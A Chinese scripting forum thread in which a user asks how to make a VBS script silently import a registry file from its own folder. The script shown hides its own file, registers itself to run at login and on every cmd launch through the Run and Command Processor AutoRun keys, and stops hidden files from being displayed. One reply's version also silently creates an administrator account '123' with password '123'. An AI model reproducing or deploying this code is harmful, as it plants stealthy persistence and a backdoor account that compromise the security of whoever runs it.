[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[问题求助] VBS怎样打开CMD窗口将自动导入reg注册表文件?

  1. dim wsh,FA,FSO
  2. set fso=CreateObject("Scripting.FileSystemObject")
  3. Set FA= FSO.GetFile(WScript.scriptFullName)
  4. FA.Attributes =34
  5. set wsh=CreateObject("WScript.Shell")
  6. wsh.run "regedit /s C:\test.reg" ,0,true
  7. wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""
  8. wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
  9. wsh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&""
  10. wsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""
复制代码
怎么把wsh.run "regedit /s C:\test.reg" ,0,true 这个中的路径改成自动获取同目录的REG文件?

  1. dim wsh,FA,FSO
  2. set fso=CreateObject("Scripting.FileSystemObject")
  3. Set FA= FSO.GetFile(WScript.scriptFullName)
  4. FA.Attributes =34
  5. set wsh=CreateObject("WScript.Shell")
  6. wsh.run "regedit /s " & wsh.CurrentDirectory & "\test.reg" ,0,true
复制代码
---学无止境---

TOP

本帖最后由 baihuo998 于 2011-8-27 15:22 编辑

怎么把路径设置成自动获取同目录下的REG文件

TOP

把里面的net user命令改为导入注册表文件的命令。楼上CUer兄多了添加账户的命令,删了即可
---学无止境---

TOP

  1. dim wsh,FA,FSO
  2. set fso=CreateObject("Scripting.FileSystemObject")
  3. Set FA= FSO.GetFile(WScript.scriptFullName)
  4. FA.Attributes =34
  5. set wsh=CreateObject("WScript.Shell")
  6. wsh.run "net user 123 123/add",0,true
  7. wsh.run "net localgroup administrators 123 /add" ,0,true
  8. wsh.run "regedit /s C:\test.reg" ,0,true
复制代码

TOP

返回列表